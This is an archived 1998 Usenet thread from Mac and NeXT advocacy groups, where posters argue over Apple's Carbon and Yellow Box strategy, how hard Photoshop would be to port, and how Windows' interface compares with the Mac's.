Be a part of the solution, not a part of the problem.
Keep HTML where it belongs, on the Web and out of UseNet!
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <6vedtf$6o1$1@pascal.a2000.nl> <rbarrisF0G0sA.Ity@netcom.com>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <dNDS1.314$K3.559779@news14.ispnews.com>
NNTP-Posting-Date: Wed, 07 Oct 1998 02:23:05 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 6 Oct 1998 23:17:13 -0700
Robert Barris wrote in message ...
>
>There was enough of one for Adobe to demonstrate a
> * running version of Photoshop *
>about six months ago.
Don't belive marketing demos.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 6 Oct 98 23:29:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B240587C-26E50@206.165.43.170>
References: <6vedtf$6o1$1@pascal.a2000.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Pascal Haakmat <ahaakmat@MAPSON.cable.a2000.nl> said:
>However, there is no implementation of Carbon yet. This means that we do
>not
>yet know how well it will perform.
>
>If it does not perform as well as Apple promises, then how much more
>rewriting of Photoshop is going to be needed to make it _really_ a
>first-class citizen?
PhotoShop only uses the Mac OS for windowing, menus, cursor control, etc.
There's no reason why a multi-threaded PhotoShop using the Carbon calls for
these actions wouldnt' be as fast as Apple claims since these calls
generally don't have much to do with application performance. These calls
DO prevent a pre-emptive multi-tasking OS from tbeing implemented using the
Plain Ole [Color] QuickDraw API, however.
AFAIK, the Carbon API is merely a set of relatively low-level calls to the
same underlying graphics engine and kernel that will be used by the YB in
MacOS X. Why would you expect an app that used these calls to be slow
performers compared to a YB-based app which would be using the same
graphics engine and kernel?
If anything, they might be a little faster, albeit less well-integrated
with each other.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <rbarrisF0G1xA.K1z@netcom.com>
Organization: Netcom
References: <36099217.345010578@news.newsguy.com> <6vedtf$6o1$1@pascal.a2000.nl> <rbarrisF0G0sA.Ity@netcom.com> <dNDS1.314$K3.559779@news14.ispnews.com>
Date: Wed, 7 Oct 1998 06:27:10 GMT
Sender: rbarris@netcom10.netcom.com
In article <dNDS1.314$K3.559779@news14.ispnews.com>,
Earl Malmrose <malmrose@nospam.jetcity.com> wrote:
>Robert Barris wrote in message ...
>>
>>There was enough of one for Adobe to demonstrate a
>> * running version of Photoshop *
>>about six months ago.
>
>Don't belive marketing demos.
I won't, but what I saw with my own eyes was good enough, thanks.
Rob
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 7 Oct 98 03:37:18 -0600
Organization: ICGNetcom
Message-ID: <B2409272-1E5069@204.31.112.109>
References: <361A3938.8C8C17BF@yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.mac.advocacy
On Tue, Oct 6, 1998 9:37 AM, Robert Fovell <mailto:rfovell@yahoo.com>
wrote:
>
>
>Sal Denaro wrote *in part*):
>
>> On Sat, 03 Oct 1998 09:51:37 -0700,
>> Robert Fovell <rfovell@yahoo.com> wrote
(*in part*):
>> >A modest proposal: Roll out Mac OS X Server *quietly*, if indeed the
>candle's
>> >ready to be lit.
>>
>> I think this would be a repetition of countless quiet roll outs that
Apple
>> has done in the past, and would do just as well (big failure)
>>
>> Apple should let the iMac hype mellow out, and then roll out WebObjects
>4.0
>> and Mac OS X Server and hype the living daylights out of it. They should
>hype
>> it to developers the same way the iMac is being hyped to consumers.
>
>I believe there's a larger market out there than just developers. Anyone
>who
>already uses Macs and Unix machines may well be interested. Blue Box
>looks better
>than MAE ever did. Also, Mac users who have tried Unix and/or Linux --
>Solaris,
>LinuxPPC, whatever -- but found it impractical or daunting for whatever
>reason may
>also be interested. Apple's not going to sell this thing with prime-time
TV
>ads;
>nor should they.
>
>I still think Apple can roll it out quietly, by putting it in the hands of
>existing
>Mac/Unix users and let the buzz build from there. If I had any say at
Apple,
>I'd
>tell them to get Mac OS X Server into the hands of people like Tom Keyes,
>Bob
>Collins, and Jason S. (to name three who have posted in CSMA), for
example.
>Low key
>ads in "Linux Journal". And so on.
>
FWIW, I also hope that in the long term Apple will be able to keep as many
Mac/NeXT/Unix users happy as possible.
But the following op-ed piece struck me as being fairly realistic wrt
Apple's near-term strategy, for the moment:
http://www.macopinion.com/columns/utopia/july98/up-20.html
At the same time, I can't help feeling that the longer they wait, the worse
it will get in terms of opportunities to enter the corporate/server/Unix
market and be able to sustain a presence there.... (Some users have already
been waiting for _years_ for something like MacOS X Server from Apple,
needless to say.....)
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: fungus <spam@egg.chips.and.spam.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Wed, 07 Oct 1998 10:54:10 -0100
Organization: SERVICOM
Message-ID: <361B4852.C2F4B404@egg.chips.and.spam.com>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Just Me wrote:
>
> Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
Since when did clock speed show how fast a CPU is?
--
<\___/>
/ O O \
\_____/ FTB.
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 08:39:38 GMT
Organization: the secret circle of the NSRC
Message-ID: <6vf9ca$nli$1@leonie.object-factory.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com>
<rbarrisF0FK54.KuB@netcom.com> <6vedtf$6o1$1@pascal.a2000.nl>
<rbarrisF0G0sA.Ity@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Robert Barris wrote:
> (snip)
> Rather than make predictions that far into the future, I'll just leave it
> at "wait and see". And also re-iterate that not all developers will make
> the same choices with regards to toolkits - if the benefits to YB are so
> overwhelming, won't its strength appeal to some of the newer developers
> out there?
No. Let's just say YB is not for everybody, just like Smalltalk or
'real' (well-written) Java.
Holger
From: drsmithy@area51.emmanuel.uq.edu.au (Christopher Smith)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 7 Oct 1998 12:44:43 GMT
Organization: University of Queensland
Message-ID: <slrn71moqk.420.drsmithy@area51.emmanuel.uq.edu.au>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com> <361B4852.C2F4B404@egg.chips.and.spam.com>
On Wed, 07 Oct 1998 10:54:10 -0100, fungus <spam@egg.chips.and.spam.com> wrote:
>Just Me wrote:
>>
>> Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
>
>Since when did clock speed show how fast a CPU is?
I can't think of many other ways to indicate how fast *a CPU* is :).
>
>
>--
><\___/>
>/ O O \
>\_____/ FTB.
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] DVD media-NeXT
Date: 7 Oct 1998 12:56:47 GMT
Organization: AOL http://www.aol.com
Message-ID: <19981007085647.26587.00004285@ng97.aol.com>
Can NeXT, NeXTSTEP, OpenSTEP play audio CDs, DVD-Video, DVD-ROM, DVD-R,
DVD-R/W, DVD-RAM, DVD+RW, or MMVF? Is that capability through native operating
sytem functionality or provided by third party software?
Can NeXT, NeXTSTEP, OpenSTEP write DVD-R, DVD-R/W, DVD-RAM, or DVD+RW (and
through native functionality or third-party software)?
Can NeXT, NeXTSTEP, OpenSTEP play master audio CDs, DVD-Video, DVD-ROM,
DVD-R, DVD-R/W, DVD-RAM, DVD+RW, or MMVF?
Please reply to MerefBast@aol.com -- thanks.
<a
href="http://www.honeycomb.net/os/holistic/connect/filesys.htm">http://www
.honeycomb.net/os/holistic/connect/filesys.htm</a>
<a
href="http://www.honeycomb.net/os/oses/next.htm">http://www.honeycomb.net/
os/oses/next.htm</a>
Date: Mon, 05 Oct 1998 17:25:22 -0200
From: asiufy@iname.com (Alexandre A. S.)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Mail-Copies-To: asiufy@iname.com
Subject: Re: A computer is not like a car.
Message-ID: <asiufy-0510981725230001@200.229.243.237>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net>
Organization: Oi!
r9;SSdvI;]1VVf
In article <36184884.D44FFF6C@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
. jmz@southwind.net wrote:
.
. > Do you think Windows is "mostly right"? If so,you're part of a small
. > minority.Very few people with experience in other environments like
. > Windows as far as I have been able to ascertain.Except for Amiga or
. > Genera bigots,NeXT seems to be the favorite and Unix/X seems tolerated
. > pretty well even by people who aren't Unix wizards.The Mac is now a
. > niche machine to the same extent the Amiga was in 1994.
.
. I think Windows is "mostly right". The modern GUI is a product of
. Apple's original research, to be sure, but nowadays it's difficult to
. find a GUI that deviates from the norm in any significant ways. Windows
. has all the basic GUI elements and many more, besides; Windows 98
. features a great many things which my last experience with MacOS lacked.
. All in all, Windows 98 is a robust GUI that does everything one expects
. it to do.
.
Ever tried to dump a folder inside Win95/98's trash, and then trying
to get it back? You can't. You'll get a mishmash of files. That's not what
_I_ would expect the computer to do. I could mention thousands of other
things like this one, examples of Windows' idiotic behaviour.
. I don't develop for Windows, and my opinion might possibly be different
. if I did. But as a user of many different systems (and developer for a
. few), I would opine that a GUI is a GUI is a GUI these days. It's
. *really* hard to find something unique; most people who "prefer" one GUI
. over another seem to do so for the sake of nostalgia.
.
Well, I beg to differ. For me, the GUI is everything. I decide what
I use today based on its GUI, after all, that's what I'll be seeing and
interacting with. What an example? I like Netscape's GUI better than IE. I
know IE draws pages from the cache faster, but still I use Netscape. It's
just a pleasant product, I guess.
. I like to whine to friends that no new things have been done with the
. GUI in the past decade. I really think that the concept has plateaued
. (which is unnecessary and unacceptable), and that preferential treatment
. is just playing favorites.
.
Just because no new features were introduced doesn't mean we should
stop and don't improve on the current ones. Win98 did nothing to improve
Win95's already horrible GUI, in fact, it only made it worse!
--
cheers! mailto://asiufy@iname.com
visit the progrock MP3 listening booth!
http://members.xoom.com/asiufy
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: What do Apple Sell? Why would they damage their business?
Message-ID: <edewF0DFEH.A1s@netcom.com>
Sender: edew@netcom8.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <3617DD6C.4EFD@prodigy.net>
Date: Mon, 5 Oct 1998 20:25:29 GMT
In article <3617DD6C.4EFD@prodigy.net> cheljuba@prodigy.net writes:
>Just Me wrote:
>>
><snip>
>> What *I* do can't even be done on anything BUT Windows.
>
>I'll bite -- what do you do that can't be done on anything but Windows?
Well, a lot of games are written just for Windows...
EDEW
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 05 Oct 1998 13:01:03 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6vasvr$918@merkur.smartsoft.de>, ahoesch@on-luebeck.de (Andreas
Hoeschler) wrote:
> >But with Apple emphasizing "Carbon" and downplaying Yellow Box Rhapsody
> >seems to have lost its attractiveness and momentum anyway.
>
> If Apple does not promote the YellowBox as hell, they're simply stupid and I
> would like to see Apple being bought and reorganized by a company that know
> what time it is.
That's the way I used to think. I've begun to realize that very few people
give a bloody damn about Yellow Box. The people who have investments in the
Mac OS (as in years of code development and products) _do_not_care_ about
YB. It simply does not matter. For them to support YB would mean scrapping
all of their time and experience at working with the Mac OS for an entirely
new API. It would mean that except that they would _also_ have to support
the old Mac OS because YB even if it is wildly successful in its deployment
will represent a relatively small portion of the market.
This means that developers face the prospect of supporting and developing
for two wildly different OS architectures (most often in _addition_ to
Windows) when their combined marketshare is paltry compared to Windows.
That just isn't going to happen.
What matters to the survival of the platform most and therefore to Apple is
developer support. This means support from the big developers. The big
developers weren't going for YB. That resulted in Carbon.
If Apple pushes the YB hard, developers will drop Mac support entirely.
Carbon is _absolutely_necessary_! YB _is_ the future, but Apple cannot
promote it as such just yet. Carbon is a way to migrate (slowly) towards
YB. Apple has been too wishy-washy in the past for deveopers to swallow a
new big change from Apple even if Apple _looks_ sincere about it. Even if
Apple were sincere about it, it appeared sincere about many other 'wave of
the future' projects that got cancelled at some point or another. Even if
it is different _now_ nobody trusts Apple.
> > especially if there are only handful of apps available for it?
>
> It seems that if we would like to have a reasonable OS in the future, we
> should slowly start to develop applications for it. In opposite to Win, the
> YellowBox is powerful enough for a one man shows, so lets simply do it.
Indeed! Do it! Nothing prevents you from developing for the YB. In fact, it
may be the best way to go if you don't have large investments in Windows or
Mac OS. That's the whole point actually.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.cloudmaster.ml.org/~tokarek>
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Wed, 07 Oct 1998 17:22:41 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vg10f$t3g$1@pascal.a2000.nl>
References: <rbarrisF0GB02.CL2@netcom.com> <B2408DDB-13214@206.165.43.111>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <B2408DDB-13214@206.165.43.111> , "Lawson English"
<english@primenet.com> wrote:
>>>PHotoShop isn't all that complicated app anyway, if you think about it...
>
>Not really. Look at its structure. What traps does it likely patch? What
>unusual, non-standard Mac-programming practices does it implement? From the
>standpoint of Carbonization, its probably not that complicated.
But that depends on the quality of the Carbon implementation. The difficulty
of porting Photoshop and other Mac apps depends on the degree in which
Carbon behaves exactly like the classic Mac Toolbox. And that, my dear
friends, is very much what Copland intended to do at one time.
Marketing makes it all sound so easy; you graft a new set of API's on top of
this, and you encapsulate that, and presto. Jobs is making out as if Carbon
is no big deal. The lack of a Carbon runtime environment for either Rhapsody
or Mac OS, 6 months after it's initial appearance IMHO proves otherwise.
Carbon Dater is simply not the implementation.
Look, I can use JavaPureCheck to see if my code is 100% pure Java. But this
does not insulate me from bugs or unexpected behaviour in a JVM.
Pascal.
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Wed, 07 Oct 1998 17:14:12 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vg0gd$s3d$1@pascal.a2000.nl>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <B240587C-26E50@206.165.43.170> , "Lawson English"
<english@primenet.com> wrote:
>AFAIK, the Carbon API is merely a set of relatively low-level calls to the
>same underlying graphics engine and kernel that will be used by the YB in
>MacOS X. Why would you expect an app that used these calls to be slow
>performers compared to a YB-based app which would be using the same
>graphics engine and kernel?
I am not specifically talking about speed. I am just wondering whether it
will work as well as Apple promises. Because while many parts of Carbon may
just act as wrapper material, I imagine there is still a lot of code that
will have to be written. Also a lot of this code will have to address the
increased complexity of a multitasking multi-user system, by a development
team that has little or no experience with these matters. And while the
developers acquired from Next may have experience with this, they in turn
have no experience with the classic Mac Toolbox.
Pascal.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PCM Tests the iMac again
Date: Wed, 7 Oct 1998 08:55:14 -0700
Organization: University of British Columbia
Message-ID: <1dgip71.t136qro9eb92N@p060.intchg1.net.ubc.ca>
References: <3619BF6A.6159336B@nstar.net> <1dgh174.1nnsb12jzw8y0N@p026.intchg2.net.ubc.ca> <361A67FE.ADABE722@ericsson.com>
User-Agent: MacSOUP/2.4b2
Michael Peck <Michael.Peck@ericsson.com> wrote:
> I guess I should go apologize to
> Steve Jobs and Bill Clinton now, since I apparently have no right to
> criticize them for doing "what everyone does"
Who says you have no right? Guessing is uncertain; rhetorical guessing
is almost invariably wrong.
> especially since my
> hopeful notions of "everybody" have been shat upon.
Your language may be a little hyperbolic (again) here.
If you don't think survival in the marketplace has anything to do with
doing what everybody does your notions are indeed too hopeful. At
present the computer industry is, at its base, supported on one side
largely by marketing deceit bearing down on the fears and ignorance of
its customers. Whoever doesn't shout hype above the noise will be
toppled into obscurity by the first wave of FUD from the competition.
This is particularly true in "the consumer space."
Your criticisms may, of course, form part of the cure for this absurd
state of affairs, but your tone may need some adjusting in the direction
of sweet reason.
> On the bright side, I don't have to live with the consequences; not
> today, anyway.
One of the irresistable attractions of Usenet. ;^)
--
Bruce Bennett
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 6 Oct 1998 21:52:55 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net>
NNTP-Posting-Date: 6 Oct 1998 21:52:55 GMT
On Tue, 06 Oct 1998 01:04:21 -0500, Michael Peck <mjpeck@nstar.net> wrote:
:spammers@ruin.the.internet.channelu.com wrote:
:
:[cut]
:
:> Then in MacOS 8.6 or 9.0 Apple would have been wise to start
:> restricting the set of API calls available to eliminate the low level
:> stuff they are now calling Carbon. Maybe they could have isolated
:> those calls into a seperate library and simply warned everyone
:> it isn't supported AND that they will loose memory protection, multitasking,
:> etc. if they are used. Something like that..
:
:Exactly. Evolve MacOS and evolve Rhapsody. Instead Jobs has been
:morphing MacOS *into* Rhapsody, and it's screwing everything up.
No. Jobs and company devised a scheme so that MacOS programs can be
reprogrammed to run as a native Rhapsody process, instead of in a virtual
machine.
What evidence is that it's screwing everything up, as compared to what
was happening before?
Despite all the noise here, this move has been unanimously hailed by
actual Macintosh software developers, many of whom previously expressed
doubts about Amelio's plan.
During the Amelio plan, the inevitable ultimate ''convergence'' was in
some fuzzy balloon way off in the future. Now, it has a name and a
specific technology, and even a due date, if you want to believe in
such fictions.
Complain about the absence of Rhapsody/Intel past 1.0 if you want, but
not the OS design plan.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 7 Oct 98 02:28:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B240823A-24466@206.165.43.97>
References: <rbarrisF0G1xA.K1z@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Robert Barris <rbarris@netcom.com> said:
>In article <dNDS1.314$K3.559779@news14.ispnews.com>,
>Earl Malmrose <malmrose@nospam.jetcity.com> wrote:
>>Robert Barris wrote in message ...
>>>
>>>There was enough of one for Adobe to demonstrate a
>>> * running version of Photoshop *
>>>about six months ago.
>>
>>Don't belive marketing demos.
>
>I won't, but what I saw with my own eyes was good enough, thanks.
PHotoShop isn't all that complicated app anyway, if you think about it...
At least from a Carbon API viewpoint. It's not doing anything especially
clever (i.e., "hacky"), GUI-wise and I've never seen anything to suggest
that they had to patch lots of traps or anything else terribly dangerous.
In fact, of all the major-league apps out there, I'd guess that PhotoShop
would be among the easiest to port to Carbon. I mean, it provides three
basic things:
an interface to its own internal graphics engine, an interface to external
plug-ins, and a way of loading/saving/importing/exporting files. Like as
not, the most difficult part was in Carbonizing the custom virtual memory
routines. That may or may not have been tricky, depending on how they are
designed and since the same algorithms are used cross-platform, I'm betting
that they are designed to be pretty easy to tweak for a new platform/OS
version.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Message-ID: <rbarrisF0GB02.CL2@netcom.com>
Organization: Netcom
References: <rbarrisF0G1xA.K1z@netcom.com> <B240823A-24466@206.165.43.97>
Date: Wed, 7 Oct 1998 09:43:14 GMT
Sender: rbarris@netcom10.netcom.com
In article <B240823A-24466@206.165.43.97>,
Lawson English <english@primenet.com> wrote:
>Robert Barris <rbarris@netcom.com> said:
>
>>In article <dNDS1.314$K3.559779@news14.ispnews.com>,
>>Earl Malmrose <malmrose@nospam.jetcity.com> wrote:
>>>Robert Barris wrote in message ...
>>>>
>>>>There was enough of one for Adobe to demonstrate a
>>>> * running version of Photoshop *
>>>>about six months ago.
>>>
>>>Don't belive marketing demos.
>>
>>I won't, but what I saw with my own eyes was good enough, thanks.
>
>PHotoShop isn't all that complicated app anyway, if you think about it...
You're out in the weeds.
Rob
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 16:35:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vg59f$n46$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com>
In article <361A9F92.1D9F3A3@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Matt Kennel wrote:
>> No. Jobs and company devised a scheme so that MacOS programs can be
>> reprogrammed to run as a native Rhapsody process, instead of in a virtual
>> machine.
>
> Right. In other words, MacOS programs *have* to be rewritten, and thus
> become second-rate first-class citizens in the Rhapsody environment.
Second rate how?
> This, in contrast to letting MacOS programs be first-rate first-class
> citizens in their own environment (without an immediate rewrite, also).
>
> In other words, instead of investing in YB development, developers must
> first investing in Carbon-izing apps. How clever, another reason to put
> off investment in YB.
What is the biggest problem with the "classic" MacOS Toolbox API's?
They contain a lot of non-portable cruft from the days of the 68K. That's
why the PPC version of applications are slower than they could have been, due
to the emulation of the m68k trap table and other such arcana buried within
the system. That's less of a problem now, as Apple has made far more of the
system core native, but it's still an issue.
And, of course, a related problem to m68k backward-compatibility is the non-
portability of the Toolbox in general, with its pervasive assumptions about
system memory management, multitasking model, event model, and so forth.
The big advantage Carbon gives developers is that they don't have to learn a
completely new API (YellowBox) and completely rewrite their programs. They
simply have to clean up their code of non-portable assumptions and if they
used any of the older, non-portable Toolbox routines, switch to using the
replacement Carbon versions.
In return for doing so, developers get two advantages: their code is cleaner
and more portable, and their apps will be able to run natively on any platform
that supports Carbon. That means those apps will run better both under the
MacOS and under Rhapsody. Furthermore, if Apple made a Carbon runtime
available somewhere else (Win32 is an obvious candidate), these apps could run
there.
>> What evidence is that it's screwing everything up, as compared to what
>> was happening before?
>
> The fact that Rhapsody is more than ever a balancing act against MacOS,
> and that both look pathetic because of Jobs' constant shapeshifting on
> the subject of pathways forward.
>
> Compare and contrast:
It's a waste of time refuting this. If you actually quoted or paraphrased
Jobs, that'd be one thing...but you aren't. You're simply making these
remarks up out of thin air and your misinterpretation of what Apple is
doing...another strawman special.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 7 Oct 98 03:17:45 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2408DDB-13214@206.165.43.111>
References: <rbarrisF0GB02.CL2@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Robert Barris <rbarris@netcom.com> said:
>>PHotoShop isn't all that complicated app anyway, if you think about it...
>
>You're out in the weeds.
Not really. Look at its structure. What traps does it likely patch? What
unusual, non-standard Mac-programming practices does it implement? From the
standpoint of Carbonization, its probably not that complicated.
I didn't mean to say that it isn't a powerful, complex app, only that the
Carbon-related issues (possibly aside from virtual memory), are likely not
going to be terribly complex. Adobe's done all the hard stuff in its own
internal, cross-platform code. The Mac-related code is likely relatively
simple, not just in comparison to the rest of PhotoShop but in comparison
to other apps, such as ClarisWorks or Word (especially Word -THAT will
likely be a nightmare to Carbonize because of all the custom hacks that MS
does).The Mac-specific stuff that PhotoShop does isn't likely all that
complex, and THAT is what Adobe had to deal with when it Carbonized
PhotoShop, right?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: PCM Tests the iMac again
Date: Tue, 06 Oct 1998 13:57:02 -0500
Organization: Ericsson North America Inc.
Message-ID: <361A67FE.ADABE722@ericsson.com>
